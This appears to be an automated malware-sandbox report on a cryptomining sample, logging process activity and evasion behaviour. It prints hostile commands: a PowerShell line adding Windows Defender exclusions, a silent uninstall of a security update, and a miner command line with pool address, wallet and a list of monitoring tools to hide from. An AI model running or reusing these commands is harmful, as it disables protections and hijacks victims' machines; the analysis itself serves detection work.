Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 0000003C.00000002.3904399498.000001631AECA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: svchost.exe, 0000003C.00000003.2341753532.000001631AE6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEHQJOFQBYNOSVYBFU
Source: svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SVCHOST.EXE--ALGO=RX/0--URL=POOL.HASHVAULT.PRO:443--USER=42P6ET5FTDLPMN3YHKJXP5FUVVXX9YVFATR8IF1FHGKLCJL94BGQ9XC42D6MPP1SBI2YH9DN9BW6B7396GRTBR9YTBRKTAQ--PASS=1234--CPU-MAX-THREADS-HINT=30--CINIT-WINRING=PNHTLZTMUVJX.SYS--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-VERSION=3.4.0--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=80--CINIT-ID=HQJOFQBYNOSVYBFU
Source: svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X/0 --URL=POOL.HASHVAULT.PRO:443 --USER="42P6ET5FTDLPMN3YHKJXP5FUVVXX9YVFATR8IF1FHGKLCJL94BGQ9XC42D6MPP1SBI2YH9DN9BW6B7396GRTBR9YTBRKTAQ" --PASS="1234" --CPU-MAX-THREADS-HINT=30 --CINIT-WINRING="PNHTLZTMUVJX.SYS" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="HQJOFQBYNOSVYBFU"
Source: svchost.exe, 0000003C.00000002.3904273552.000001631AEAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000003.2341753532.000001631AE6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7515	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2223	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8472	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1080	Jump to behavior

Source: C:\ProgramData\win32\svhost.exe

Dropped PE file which has not been started: C:\Windows\Temp\pnhtlztmuvjx.sys

Jump to dropped file

Source: C:\Users\user\Desktop\prog.exe	API coverage: 6.8 %
Source: C:\ProgramData\win32\svhost.exe	API coverage: 6.8 %
Source: C:\Windows\System32\conhost.exe	API coverage: 0.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6416	Thread sleep count: 7515 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1352	Thread sleep count: 2223 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 8472 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 1080 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6416	Thread sleep count: 31 > 30
Source: C:\Windows\System32\svchost.exe TID: 6416	Thread sleep count: 42 > 30

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 0000003C.00000002.3904108781.000001631AE6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWRSVP TCPv6 Service Provider
Source: svchost.exe, 0000003C.00000002.3904025620.000001631AE5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000003C.00000002.3903985542.000001631AE13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\prog.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF6F1FB118B
Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF6F1FB11D8
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	35_2_00007FF7E32F118B
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	35_2_00007FF7E32F11D8
Source: C:\Windows\System32\conhost.exe	Code function: 58_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	58_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\win32\svhost.exe	Thread register set: target process: 5896			Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Thread register set: target process: 4696			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
